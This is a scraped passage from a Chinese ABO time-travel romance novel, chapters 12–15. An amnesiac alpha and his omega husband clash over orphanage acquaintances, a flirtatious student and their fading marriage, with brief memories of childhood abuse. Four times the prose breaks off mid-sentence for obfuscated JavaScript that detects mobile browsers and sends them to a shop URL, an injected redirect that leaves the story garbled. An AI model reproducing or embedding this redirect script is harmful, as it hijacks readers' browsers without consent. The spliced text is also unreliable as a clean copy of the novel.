苏明清继续讲:“之前你不是说,为什么你没去一线工作,而是选择当一个‘奸诈’的商人吗?” 蔺言确实有这么好奇。 但他没那么形容“自己”吧? “怎么着,我说你老公了,你不高兴?” 苏明清顺着他的话:“是的,谁说我老公我都不高兴。” 这下子换蔺言不高兴了。 有必要这么维护吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200049|147645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他没发现,他对二十年后的自己,有一种说不清道不明的敌意,这种敌意很微妙,也很不容易被察觉。 “所以呢?到底是为什么?”蔺言道,“还有,我对医学一窍不通,又为什么想着设计医学上的东西?” 苏明清道:“你知道,光我们星系就有九大行星,虽然在好几个世纪以前,这些行星并没有人类居住,但随着科技的发展,以及我们的法律规定……也就是流放。” 三十世纪新新法,公民守约法中规定,废除死刑,凡是罪大恶极者,流放至其他行星服刑,按照公民犯法严重程度,规定流放时限。 据说流放行星没有回来的飞船,只有单程车。 所以一旦被流放,很多人只能在其他星球生活一辈子。 在目前的宇宙中,已知的适合人类生存的星球,也不过是几个,蓝星是最适合人类生活的地方。 其他地方也不过是“生存”而已。 但那些地方的人总得活下去吧? 不管用什么样的方式。 只要活下去了,就会有后代吧? 后代回不来,那怎么办呢?还是只能在当地活着。 这也导致明明不适合人类生活的星球依旧有人类生存,医疗水平参差不齐,贫富差距明显,不是人人都能用得起智能机械。 甚至有的地方,连最初的智能都没有,发展落后了几个世纪。 “有一次,我们坐飞船去了一个流放岛。” 苏明清的声音渐渐低落,像是陷入回忆中,有些恍惚。 “你在那里看见了很多东西,看见了很多吃不起饭的孩子,看见了得病却没有地方治疗的大人,看见饥荒,看见贫穷。” 苏明清道:“那天有个人倒在了我们的面前。” 蔺言的脑海中有什么一闪而逝。 好像是个浑身长满了疹子的男人,奄奄一息瘫在地上,看不清面容,但他知道他很痛苦。 “在一个诊所里,只有一个护士一个医生,对着近几十号病人手忙脚乱。” 诊所很小,比起蓝星的大医院,简直狭小得令人迈不开脚。 他们本来是带着一个小孩过去的,看见如此盛况,只想着把小孩转移去一个更好的医院。 可是护士说:“这已经是我们最好的医疗机构了,你还能带着他去哪?抓紧取号排队,别耽误了病情。” 然而等排好队后,医生护士所谓的“治疗”,也不过是紧急打针和挂水。 至于蓝星有的营养液、营养仓,这里统统都没有。 “于是等回来之后,你就把自己关屋里了,”苏明清说起这个,眼中含笑,“我还以为你会一气之下把所有的积蓄都捐给那个星球……” 蔺言道:“就算我散尽家财,他们的生活短时间内确实能飞升,但是没有基本的经济运作,很快还是会贫穷起来。” “你当时也是这么想的。” 蔺言低头,他已经摸通了这个机械手臂的关窍,把它拆卸了下来。 东西非常轻,在alpha的手里,像是一个儿童玩具,根本没什么重量。 它的用料看上去不是很贵,并没有昂贵的高档货的样子,也正是这样,方便了它进入廉价的小诊所,而不是蓝星的大医院。 他低头观赏了片刻。 再抬起头时,苏明清正直勾勾盯着他观察。 “呃……”蔺言把它放了回去,“你要是没事的话,我也回去睡觉了。” 苏明清的眼中闪过一丝失望。 还是没有任何恢复记忆的征兆吗? 而蔺言在回到自己的卧室后,后背抵在门上,怔怔地眨眼。 怎么回事? 他脑子里怎么会有那么多陌生的画面呢? 13.第 13 章 第13章 隔天,苏明清的发情期还没过去,只能躺在卧室里。 透过窗户,他看见助理早早就来找蔺言处理工作上的事情。他询问过助理,知道这几天蔺言的工作已经进入正轨,总算能放下一些操心。 到了中午,还来了个客人。 这个客人起初都没人认识,还是通过安保系统进来的。 到了家里后,佣人先让他坐下,等苏明清下楼时,蔺言正和他一起说话。 苏明清在看见对方的瞬间,就已经身体僵硬。 他不记得这个人了,但是觉得对方面熟。 “哎呦,我们的大忙人来了。” 对方主动站起来,上前,“你不记得我了?我是陈康太。” 苏明清的视线下意识落在蔺言身上。 如果是以前的蔺言的话,应该会知道,他这个视线中包含着一点求助的意思,也明白他到底为什么求助,但是如今的蔺言什么都不知道,还因为他的视线躲避了一下。 昨天夜谈,蔺言也反应了过来,苏明清故意跟他提起过去,试图唤醒的他记忆。 如果他什么都没想起来也就算了。 可偏偏脑海中有一些陌生的画面。 这让他也陷入了疑虑中。 对着苏明清的目光,自然也没有以前那么理直气壮,甚至还有点心虚。 “也不能怪你不记得我,”陈康太看懂了眼色,自己给自己解围,“我们以前说话的次数不多,贸然来找你确实不好意思。” 苏明清避开了他伸过来的手,没有和他握手,淡淡道:“你知道不好意思,但还是来了。” 对方一僵。 在学校上课久的,都知道苏教授嘴毒,旁人没有领教过,总是会反应不过来。 蔺言是最早期受害者,对此自然也是“爱莫能助”,轻咳一声:“既然是找你的,那么我就先……” 苏明清道:“你不准走。” 蔺言不解,“人家是来找你的啊,和我有什么关系?难不成还要我陪着你啊?” 苏明清听见他这句话,有股失望的情绪涌了上来。 要是以前,蔺言在感知他情绪不对劲的第一时间,不管怎么样都会留下来,就算他想要自己解决问题,也会在离他最近的地方保护着他。 可现在的蔺言,不仅丝毫没发现他的不对劲,还把“你我”分得很清楚。 你是你,我是我。 我们之间没有任何关系,不存在任何互帮互助的利益共同体,对他也没有感情。 蔺言看他的脸色越来越不对劲,也反思自己,觉得自己可能确实过于冷漠,他悻悻然又坐回去,“你想让我陪的话,那我……” 苏明清道:“你走吧。” “你怎么还一会让人走,一会让人留的?”蔺言莫名其妙,“能不能有个准话?” “走。”苏明清不愿意再费口舌。 蔺言闻言,一头雾水地起身,上了楼梯。 在他的视线里,苏明清在他走后,坐到了来访的客人面前,不见什么局促和不安,倒是挺镇定的,镇定到有几分冷漠。 这不是能自己解决吗? 难不成……刚刚是苏明清在撒娇? 那他撒娇的方式还真够特别的。 蔺言没谈过恋爱,但是身边的同学和朋友总有谈的,他听人说过,omega在对着喜欢的人时,总是非常容易心口不一。 所以到底让他留下来是心口不一,还是赶他走是心口不一? 回到楼上后,蔺言也没想明白这个问题。 在助理面前,也总是心不在焉的。 助理这几天算是看明白了。 以前他对蔺言了解的并不多,很多的了解都是建立在工作之上,他知道蔺言工作上非常认真执着,对许多事情有自己的见解,不是那种风口上被吹起来的猪,他是真聪明。 就算是失忆,重新接手工作,他也能在几天内学习的井井有条。 但是一到生活上,尤其是对着苏明清时,他这个老板总给他一种智商告急的错觉。 “这笔怎么没水了?”蔺言甩了甩他古老的钢笔,“你去楼下,给我找找有没有墨水。” 助理道:“蔺先生,我们合同都是电子的,用不着这种笔。” 蔺言:“……那我饿了,你下去帮我看看厨房里有没有吃的。” 助理示意他看向他的办公桌。 “怎么了?” “有呼叫铃的,蔺先生。” 蔺言:“……” 他摊牌了,干脆道:“你就帮我下去看看苏明清……先说好,我没有别的意思,我就是想让你帮我看看他和今天的那个客人别吵起来,得罪人。” 助理暗中吐槽,以前别说是苏明清得罪人,谁敢惹苏明清一下,他自己别一气之下得罪人就是好的。 这个家最沉稳的就是苏明清了好不好? 到底是自己顶头上司,助理道:“好的。” 几分钟后,助理回来了。 蔺言迫不及待,“怎么样?” 助理道:“没吵起来,苏先生接待客人有自己的方式,相处挺好的。” 蔺言纳了闷了。 明明刚刚在客厅,他看着苏明清和对方似乎不是很对付的样子,怎么一会儿的功夫又变得“相处挺好”了? “不过有件事情,”助理左思右想,还是决定拿出职场中的圆滑来,“因为您现在失忆了,很多事情可能不是很清楚,所以需要提醒您。” “什么?” 助理道:“这个人,好像是苏先生以前在孤儿院里的同学,每次苏先生见过孤儿院里的人之后,心情都不是很高兴,您已经很久都没有让他正面接触过以前的人了,这人不知道是怎么混进来的。” “什么?孤儿院?”蔺言愣住了。 苏明清……是孤儿? 他以前从来都不知道。 …… “当年在孤儿院里的时候,大家都不是很痛快,”陈康太道,“想想那种环境,谁能觉得开心才有鬼了,你是我们那一批里最出息的人,我知道你现在和我们不是一个阶层的人了,看见旧人肯定不高兴,我也是没办法才求到你这里的。” 苏明清喝了一口水,才能压下来反胃的恶心,身体还带着发情期的虚弱,他缓慢道:“你有什么话就直说。” 陈康太沉默片刻,“你也知道,我有个双胞胎弟弟。” “嗯。” “他最近被人抓了,原因是因为私自向流放星倒卖营养液,你知道的,这个罪名很严重,如果被判决,他肯定也要被流放。” 苏明清皱眉,“倒卖?你们不知道所有的经济犯罪中,这种判最重?有手有脚干点什么不好,偏偏碰流放星?” 陈康太苦笑:“这世上,如果还有别的赚钱的通道,谁会想着去犯罪呢?” 他起身,朝着苏明清跪下,“算我求你。” 苏明清避开了他的跪拜,扶着沙发站了起来。 他冷漠到像是对陈康太的眼泪不为所动,脸上的表情始终没有变化,只是气息更急促了一些。 “出去吧,我帮不了你们。” 陈康太流着眼泪看他,神情一下子变得绝望。 苏明清道:“就像你们当年也帮不了我一样,大家都是自身难保。” “不……这怎么能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200050|147645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样呢?我们当年那么小,确实没有帮你的能力,现在你明明有能力……” 苏明清苦笑:“一个被困在家里的omega,身上最大的头衔是蔺先生的夫人,你觉得这样的人,能有什么能力?” 陈康太像是一株被拔空了生命力的野草,彻彻底底萎靡。 苏明清率先上了楼,蔺家的佣人替主人送客。 蔺言从二楼的露台眺望,看见了陈康太不如进他们家里时那么热情,含胸驼背的,被佣人客客气气请出别墅。 发生了什么? 蔺言有些好奇,其中最引起他好奇的,是助理的那番话。 还有苏明清的经历。 他以前从来没想过,苏明清居然是孤儿,一个孤儿,却考上了一所和他一样的大学,并且成绩也一直保持在前列。 明明是个omega,却打得过他们同期的alpha。 他还把自己收拾的很体面,没有人在任何人面前露过怯,如果不是足够了解,没人会把他往孤儿的身份上想。 但二十年前的苏明清,确实像是没被人好好爱过。 蔺言的脑子里猛地跳出来这个念头。 如果被爱过的话,面对别人的善意,第一时间应该是知道怎么应对的,而不是一直保持冷漠。 与其说是冷漠,不如说是他保护自己的面具。 算了,他想这些干什么? …… 刺耳的辱骂钻入耳朵中。 像一条小毛毛虫,身上装满了带毒的刺,爬过的地方都要起大片红痕,顺着他的耳道、爬向他的血管、脑子,最后留在他的心脏处。 好疼。 好难受。 “怎么别人都会用筷子,就你不会用?你是不是脑子有问题?” “吃吃吃,每天就知道吃,身上就长这么一点肉,你吃过的东西都去哪了?该不会都被你偷偷浪费了吧?说!你是不是不珍惜粮食!” “谁让你剩饭的?剩饭就该接受惩罚,把盘子里的鸡蛋壳吃掉。” “给我在全院孩子面前罚站!” 好疼。 好像又顺着他的血管,爬向了其他地方,他的肺部也呼吸不过来了。 “你怎么还越长越……好看了?该不会分化成omega吧?” “我们这个地方,beta成群,就没见过几个alpha和omega,要是真出了一个,我可得先好好看你。” “这么一看你,长得是真不错啊,别动,我看你衣服没穿好——妈的,我摸一下怎么了?!” 好疼,爬到胃的部分了。 身体好像烂掉了。 “老婆?” “你不能和别人说话,你要是再和其他alpha说说笑笑,我真的生气了。” “老婆,嫁给我吧。” “老婆,我好爱你啊。” 苏明清战栗的身体逐渐平复。 须臾,他猛地惊醒,睁开双眼,怔怔地盯着天花板。 他犹如溺水人,大口大口呼吸新鲜空气,起身时眼泪流入了口腔中,咳嗽不止。 身边空空荡荡,没有熟悉的拥抱,也没有热乎乎的体温,他还是习惯性只睡一边,可另一边的人却不在身边。 苏明清鞋都没穿,抱着枕头安安静静走到走廊。 大半夜,敲门的声音格外刺耳,他敲了一下之后,被声音搞得心悸,换成了小声的呼唤。 “蔺言?” “你睡了吗?” 他的手垂了下来,又不甘心地叫了一小声:“老公。” 依旧没人回应他。 苏明清静静站了一会儿,又自己默默回去了。 14.第 14 章 第14章 * 接下来的几天,陈康太时不时会来蔺家的别墅周围转。 陈康太是个beta,闻不到他信息素的味道,但是alpha的五感敏锐,尤其是级别优越的alpha,能察觉到周围任何风吹草动,集中精力去感受的话,甚至可以听见几百米外的脚步声。 蔺言处理公司内部的工作已经没有问题,他最近在学习用光脑进行全息会议,助理在一旁辅佐。 忽然,蔺言问了个不相关的问题:“那天苏明清不是已经拒绝他了吗?为什么他还天天来?” 助理一愣。 助理是个级别不高的alpha,对着自己的alpha上司时,又有意收敛自己的信息素,以免发生信息素对撞。 听见蔺言这么问,他才集中精力感受了一下。 只感受到微弱的动静,真不知道蔺言是怎么做到一心二用的。 有时候人和人之间的差距,比所马里亚纳海沟还大。 “有事相求的话,有时拒绝一次可能还不足够,需要我采取一些措施吗蔺先生?” 蔺言道:“采取什么措施?” “启动安保程序进行驱逐。” “不用,”蔺言从来没想过为难人,“他是不是本来就已经遇到困难了?把他赶走的话不太好。” 助理道:“往常这种情况,能帮的您都会尽可能帮,但这次牵扯到苏先生的话,您应该慎重一些。” 要是才开始那阵,指不定蔺言的逆反心理就上来了。 但现在他竟然认真思考了起来。 随着和苏明清相处的时间越长,他越知道,苏明清根本没有他想象中那么坏。 还有些说不清道不明的心思,他不太敢深入想。 “你能不能……”蔺言轻咳,“帮我找点东西?” 助理道:“当然可以,蔺先生。” 蔺言道:“你不能跟苏明清通风报信。” 助理道:“之前苏先生只是代理,您才是我的上司。” “很好。” 蔺言有时候还不太习惯使唤人,他以前也只是个大学生,蓦然变成大老板,处处都不习惯。 “你帮我查查苏明清在孤儿院的资料。” 资料很快就到了蔺言手上。 蔺言诧异:“怎么这么快?” 助理言简意赅,“您以前也查过。” 蔺言:“……” 果然,不管人长到几岁,身处什么时空,面对同样的事情时,都会做出同样的反应,要不说性格决定命运呢。 打开资料的第一页,蔺言的眉头就皱了起来。 助理屏息,尽量缩减自己的存在感,不让他的怒火波及到自己。 果不其然,没几分钟,蔺言把资料翻到头,立刻拍在了桌子上,怒声道:“太过分了!” “这是人能做出来的事情?!” “没良心的东西!” 蔺言足足骂了十分钟,这才又重新把资料拿起来——他生气时,倒是和二十年后的他一模一样,很有威压。 “你去,”蔺言敲了敲桌子,“给我把那个陈康太带上来。” * 学校里已经开始催着苏明清回去上课了。 不管什么学校,老师资源都很稀缺,假也不好请。苏明清下楼时,刚好蔺言的助理也下了楼,两人在楼梯间遇上。 助理先给他让了路。 两人还是一前一后走的。 蔺家有专门接送苏明清上下班的司机,在听闻他开课后早早就做好了准备,在车旁边等着他。 苏明清进车时,视线微微一顿,落在不远处。 助理做的其实很隐蔽,在苏明清看见时,就已经把人接到了车上,只是陈康太这几天没换衣服,苏明清看见了他的衣角。 ……蔺言让做的? 蔺言想干什么? 要是以前的蔺言,苏明清大可以放一万个心,什么都不用管当甩手掌柜。 但如今的蔺言,什么都不知道,他能做出什么? 都是未知的。 司机已经踩下油门,苏明清在车窗内向外看,和蔺言的黑车擦肩而过。 * 这几天的苏教授明显心不在焉。 上课的学生都感觉到了。 自从苏明清在电视上公开和蔺言一起参加活动后,全世界都知道了蔺言的夫人长什么样,包括学校里的学生们。 之前苏明清没有公开过,大家都只是猜测,一朝猜测成真,看着苏明清反而有了种不敢靠近的感觉。 差距太大时,反而让人不敢上前。 这也导致最近来找苏明清问问题的人剧减,下课时无比清闲。 最伤心的,莫过于暗恋苏明清的学生们。 尤其是之前找苏明清早晚问好的学生,直接歇了菜,幽幽地盯着他,也不敢再上前搭话了。 放学时,苏明清遇见了校长。 校长远远看见他,就开始打招呼,“苏老师!” 苏明清本想走人,见状也只好停下。 “你怎么还躲起我来了?”校长还有点委屈,“你现在可是我们学校的名人了,我又不跟你提让你去一线的事情。” 苏明清道:“我没躲。” 就是不太想说话。 “蔺先生没什么事情吧?”校长问,“前段时间看见你上电视,我还有点惊讶,看你瘦了不少,是太忙了?” 苏明清无奈道:“校长,您有什么事情就说吧,别兜圈子。” “既然你这样的话,那我就说了,”校长道,“咱学校最近有个活动,带着学生去社会实践的,很多老师不愿意出外勤,我本来想着你过去填个空缺……但我看着你瘦不少,是不是最近身体不太好?” 苏明清闻言,心里倒是有了念头。 “什么样的社会活动?别是带着幼儿园小孩剪窗纸的。” “你这话,我们是什么学校?又不是幼师,”校长摆摆手,“是去改造中心看报废的机甲,过去分析机甲问题的,不过有一点不太好,你知道的,看着这些机甲的都是一些犯罪人员,你一个omega可能柔弱……了点。” 再怎么看苏明清,也不太像柔弱的样子。 校长把最后的话咽了回去。 “不过omega也没事,”校长道,“你去了就划划水,也不用和那些beta一样教,就当我是帮个我个忙,凑个人数。” 他知道,苏明清只是看上去冷漠,但很多时候都是好说话的。 苏明清问:“什么时候?” 校长道:“也不太急,三天以后吧。” 苏明清答应了。 转过身时,苏明清又一次看见了之前偷看他的学生。 这种学生,苏明清往往都不会理会,只是今天这个看得太过分,他抬眸也看了过去。 对方吓了一跳,默默缩回视线,垂头丧气地走了。 * 三天后很快到来。 苏明清没有提前跟蔺言说,就收拾好东西走了,夫妻俩如今日子过得井水不犯河水,有时一天都见不到一次面,还不如合租室友。 学校给他们租了中型悬浮列车,直接从上空气轨行驶,速度很快。 苏明清闭目假寐,没有像其他老师那样吆五喝六,大声呵斥同一节车厢的学生。 而他的学生也不像其他车厢那么不省心,大家看见他睡觉,非常自觉闭上了嘴,低头用光讯聊天。 [怎么办,苏老师长得好好看。] [蔺言真是好福气,想不通他到底怎么娶到这么好的老婆的。] [听说他们是在学校里认识的,校园恋爱走向结婚,羡慕,我们系怎么就没有这么好看的omega?别说omega了,好看的beta都没有。] [你们猜,苏老师的信息素会是什么味道的?真想闻一闻啊。] [怎么回事……在座的有beta或者omega吗?打开群聊就闻到了一股alpha味,你们这些痴A能不能收敛点?] [众所周知,我们的校花不是学校里的学生,而是苏老师,年轻人肖想一下校花怎么了?] [嘘,苏老师似乎睡着了,大家别把他弄醒了。] 另一边,一个学生看完光讯后,扯出个冷笑。 “就凭他们还天天苏老师长苏老师短的,他们有给苏老师道过早晚安吗?有私下关心过他吗?就知道在课下逮着他问问题,这种时候倒是贴心起来了。” 同伴在他一边欲言又止。 “不是,你现在都知道苏老师的伴侣是蔺言了,你还不死心啊?” 平嘉旒冷着脸,“有什么好死心不死心的,苏老师的伴侣是蔺言还是刘言还是李言,对我和苏老师的关系有任何的影响吗?” 同伴摇头,“那必然是没影响的,因为你俩压根没关系。” 平嘉旒气得脸色有点不好看。 他嘟囔了句:“哼,我看苏老师和蔺言之间的关系也没那么好。” 一群什么都不会分析的人,电视上播什么信什么。 目的地很快就到了。 苏明清被气轨降落的声音吵醒,额头上还残留着做梦带来的冷汗,这段时间他的睡眠质量一直很差,只要是睡着,绝对会做噩梦。 废弃机甲场就在不远处。 机甲是爆发战争时,各个星球的人打架用的大家伙,通常是人为操控,就算是人为,有时也有失控的情况。 这个大家伙,一旦失控,造成的威力非同小可,也因此没有什么人想要深修与失控机甲有关的专业,就算是修机甲,也都是犯过罪的人来进行。 里面除了警察和罪犯,剩下的就是时不时来学习的学生。 苏明清讲完课后,恹恹地待在一旁,没有什么想说话的欲望。 他抬头看了一眼乱糟糟的现场,学生们也都各自有老师带着,缺他一个也没什么关系。 于是找了个小门,去室外喘口气。 在他站着时,没发现有个学生悄悄跟了过来,就在他不远处。 在他深呼吸时,一根烟递到了他的面前。 苏明清抬头,看见学生熟悉的脸,没好气道:“你怎么会随身带烟?” 平嘉旒知道他会训斥,倒也不慌,“我只是看老师心情不好,觉得你现在可能会需要。” 苏明清道:“我不需要,但是没收了。” 平嘉旒乖乖交给了他。 苏明清再次道:“回室内去,这里不是你该过来的地方。” 平嘉旒认真道:“老师,有些犯人警察不能每一秒钟都盯着,你孤身一个人在这里,也很危险。” “回去。” “我不想回去。” “那你是想写检讨?” “能和老师待在一起的话,写检讨也没关系,”平嘉旒站在他身边,“老师,你最近是不是不开心啊?” 苏明清一顿。 就算是个不熟悉的学生,也都看出来他不高兴了。 可是家里那个人呢? 活像个陌生人。 平嘉旒看出来了他的犹豫,借机凑近,“老师,我喜欢你,让我留下来陪你吧。” 苏明清皱眉。 平嘉旒试探性地释放出来一点信息素。 他的信息素果然是青草的味道,很清新,不难闻,属于没什么攻击性的那种,但是苏明清身上有其他alpha的标记,深藏在他体内的完全标记,在感受到其他alpha的气味时,立刻做出了反应。 平嘉旒被回击的甘松信息素呛了一下,有点头晕。 连苏明清的脸色也有点难看。 “老师……” 在两人不远处,脚步声缓缓逼近。 苏明清毫无察觉,看着平嘉旒伸出来的手,“这次我先不追究你,你……” “不追究什么?” 熟悉的声音在身后响起。 苏明清猛地回头,看见了绝对不该在这里出现的人。 以及,他身后的三个人。 对上陈康太的视线时,陈康太仓皇扭过头。 蔺言则还是一脸茫然,“苏明清?你不是该在学校里上课吗?怎么会来这里?” 苏明清没回答他,视线落在陈康太双胞胎弟弟,陈康健的身上。 最后一个人是守在陈康健身后的狱警。 蔺言敏锐地闻到了空气中信息素的味道,苏明清身上的味道没有泄露半分,甘松和青草漂浮在空中,混成一股难闻刺鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200051|147645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的味道,攻击性极强。 “你是谁?”蔺言问,“你对着一个omega释放信息素干什么?” 他再没谈过恋爱也知道,一个alpha对omega释放信息素,是求偶的意思。 在abo社会,信息素可以成为欺压、攻击别人的武器,同样也是谈恋爱求偶时重要的一个条件。 越好闻、越强大的信息素,越容易受到omega的青睐。 信息素也是十分私密的,不管是谁,在公共场合都必须要收敛好自己的信息素。 一个alpha对omega释放,不是求偶就是性骚扰。 他也不知道自己为什么这么恼怒,嫉妒心先他的理智一步爆发出来,突然得像是本能反应。 他朝着平嘉旒走去,“说话!” 苏明清却挡在了他的面前。 他抵住蔺言的胸膛,阻止他再向前,眼神冰冷,“在这里看见你,该生气的人是我。” 蔺言的怒火顿时消了几分,他覆住苏明清的手背,自己都没察觉到这个动作有多亲密,“事情不是你想得那样,你听我跟你解释,我不是故意跟你作对,陈康太他们兄弟俩我查过……” 平嘉旒似乎不太擅长应对蔺言这种alpha,弱弱叫道:“老师……您先生的信息素释放太多,我有点难受。” 蔺言怒气再次掀起,“正说话呢,你插什么嘴?!” 这样的蔺言,让苏明清有些恍惚,仿佛看见了那个熟悉的蔺言。 可在看见陈康太时,他又像是被一棒子打醒。 他冷笑:“有什么好装的?” 蔺言没觉得在说自己,对着平嘉旒道:“听见没有,说你呢,有什么好装的?你是星大的学生吗?怎么可能有星大的学生像你这么弱?” 苏明清道:“我说你呢。” “说……”蔺言不敢置信,“说我?” 苏明清抽出自己的手,退后半步,眼神冰冷到几乎能凝结出冰棱。 “对,就是说你。”苏明清道,“别装得好像很关心我的样子了。” 更狠的话,这种时候了,他甚至还说不出口。 于是就只能深深地看蔺言一眼,转身走人。 在他走后,平嘉旒干脆利索地站了起来,哪有一点柔弱的影子? 蔺言气得不轻,头一次见这种人,忍不住发出感慨,“哪有你这样的alpha?” 也太不要脸了! 在他的年代,alpha想要追求一个omega,最多的是展示自己有多强大,有多靠谱,哪有这样茶言茶语,往弱小了装的? “什么?”平嘉旒还装傻,“可能现在时代变了,alpha也变了?” “你是苏明清的学生?” “对,我是苏老师的学生。” 蔺言攥了攥拳,额角的青筋都在蹦,“你该庆幸,你是苏明清的学生,但凡换个无关的alpha,早该被揍了。” 平嘉旒眼中闪过一丝警惕,但还是佯装镇定,微笑着。 蔺言去追苏明清了。 * 苏明清提前跟其他老师说了一声,自己打车走了。 蔺言过去时,已经没了苏明清的踪影,在学生堆里转了一圈——大部分人都认识他,以他为圆心,自动扩散出来一条路。 他将近一米九的大个子,站在人群中,不需要聚光灯,自动就成为了焦点。 “那是蔺言?!” “妈呀,天天在电视上看的人,竟然出现在了我面前!好高好帅!” “他在找谁?” “找苏老师吧,他不是苏老师的老公吗?不过刚刚苏老师气冲冲走了,两人该不会吵架了吧?” 蔺言耳尖,抓住了那个学生问:“苏明清走了?” “走、走了……” 蔺言心中暗骂一声,连忙追了出去。 * 苏明清已经先一步到家。 小孩还在学校,家里静悄悄的,只有佣人忙碌的身影,他坐在沙发上,一时间不懂自己在干什么。 在蔺言失忆后,他的生活就仿佛失去了重心,婚姻中的核心没了,牵扯出来一堆连锁反应,好像他的人生也变得失败。 蔺言开门进来时,苏明清听见动静,起身就想走。 蔺言猛地攥住了他的手腕。 “你听我解释好不好?” 苏明清疲惫至极,都不想理论,“解释什么?” “关于陈氏兄弟,”蔺言道,“我知道你以前过得不太……也很讨厌和以前扯上关系,这些我都知道。” 苏明清掀起眼皮,“你调查我了?” 蔺言摸不准他的态度,没有回答。 他避重就轻,“那天陈康太是不是跟你说,陈康健是因为偷运倒卖给其他流放星东西才进去的?其实他不是偷运,而是有许可,他通过的这条链路是我旗下的,春林湾那两排行道树,月月都需要运输进来大量的营养液来供这些树木存活,很明显是有人想针对我,我不能因为我连累无辜人。” 苏明清睫毛颤动,明显听进去了。 蔺言道:“我只帮这一次,以后再有任何事关孤儿院的人找上门,都一律打出去,绝不再让他们进来,行不行?” 苏明清沉默了。 蔺言还想说,不能夫妻俩玩浪漫,就不管其他人死活了。 不过他觉得可能会触怒苏明清,还是选择不说。 “你还是不太了解我,蔺言,”苏明清缓缓道,“当然,你也没有义务了解我。” 蔺言:“我……” 苏明清道:“这件事如果你和我说了,我未必那么自我,小时候的阴影算什么呢?是不是?” 蔺言哽住,“没有,你小时候确实被伤害过……我不是查过吗?我确定过陈氏兄弟没有伤害过你。” “当然,我也确定,你确实不是我老公,”苏明清声音很平静,“如果是我老公的话,就算是今天进去的是他,他也绝对不会允许会引起我噩梦的人,在我面前乱晃。” 苏明清回想,“或许还会想办法把陈康太搞进去?” 蔺言有点不愿意相信,“我怎么会……” “你当然不会,是我老公会,”苏明清道,“你又不是我老公。” 15.第 15 章 可是一个人的身体,怎么可能有两个人存在呢? 蔺言盯着苏明清认真的脸,一时间说不上话来。 可苏明清似乎真的把“二十岁的蔺言”和“四十岁的蔺言”完全分隔开,盯着蔺言的表情也不像之前那样欲言又止,全是冷漠和失望。 蔺言想解释都不知道该怎么解释,就见他已经转身离开。 “哼,”蔺言在此之前,也是一个家里捧着长大的大少爷,哪那么低三下四过?他小声道,“我又没做错,我还道歉了呢。” 生气就生气,反正气坏身体的不是他。 想是这么想。 蔺言的视线还是时不时往楼上看去,苏明清的身影已经完全消失,并且没有返回来的意思。 二楼卧室的房门紧闭,像苏明清即将合上的心门。 蔺言莫名有些慌张,拿起水壶给自己倒了好几杯水喝,一壶都下肚了,那股憋屈又躁动不安的火气也还是没下去。 什么啊,又不是他的错。 他一点错也没有。 苏明清的老公愿意宠他,也是他老公的事情,苏明清能对他死心,那是再好不过,他是穿越来的,没准和现在的这个身体根本就不是一个人,平行时空也早就被证实过存在。 可是……他的脑海中又闪过那天出现的画面。 万一……是一个人呢? 不可能。 蔺言深呼吸,自我开解。 可能就是身体残存的记忆碎片罢了,人是通过大脑思考的,而他的灵魂现在和这副躯体紧紧连接着,继承了记忆也说不准。 可他穿越这件事不也没被证实过吗?按照现在的医学体系或者医学来解释,失忆的可能性更大一点。 打住,怎么还自我辩论上了! * 苏明清在学校里时,是个神出鬼没的好学生。 没人了解他,也没人知道他具体的情况,但是每堂课他从来都不会缺席,年年拿他们学校的奖学金。 没人能想象到,这样优秀的人是一个孤儿,有那么一个不算好的身世。 等到和蔺言结婚,更是没人再提起他的过去。 连蔺言都在拼命帮他淡忘。 这也导致,苏明清都快忘了,其实蔺言根本没有义务帮他这么多,就算是爱人,也可以对着爱人揭伤疤。 夜深,苏明清坐在书桌前,正在光脑上查着什么东西。 两人的财产绑定在一起。 还有很多东西都没办法在短时间内分开。 和蔺言想象中不一样的是,其实他们大部分的财产都是蔺言的,只有少部分才是苏明清的,如果非要进行财产分割的话,该净身出户的人是苏明清才对。 苏明清一夜没睡,都在盘算这些。 算完时,天边都已经露白肚,他久久地坐在书桌前,盯着远方的日出。 片刻后,他把这些演算了一晚上的草稿纸团成一团,扔进了垃圾桶里。 三个月的时间已经过去一个月,而蔺言丝毫没有恢复记忆的模样。 * “烦。” 李助理还以为自己的心声被谁听到了。 悄悄往下一看,才发现是他们蔺总正盯着光脑发呆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 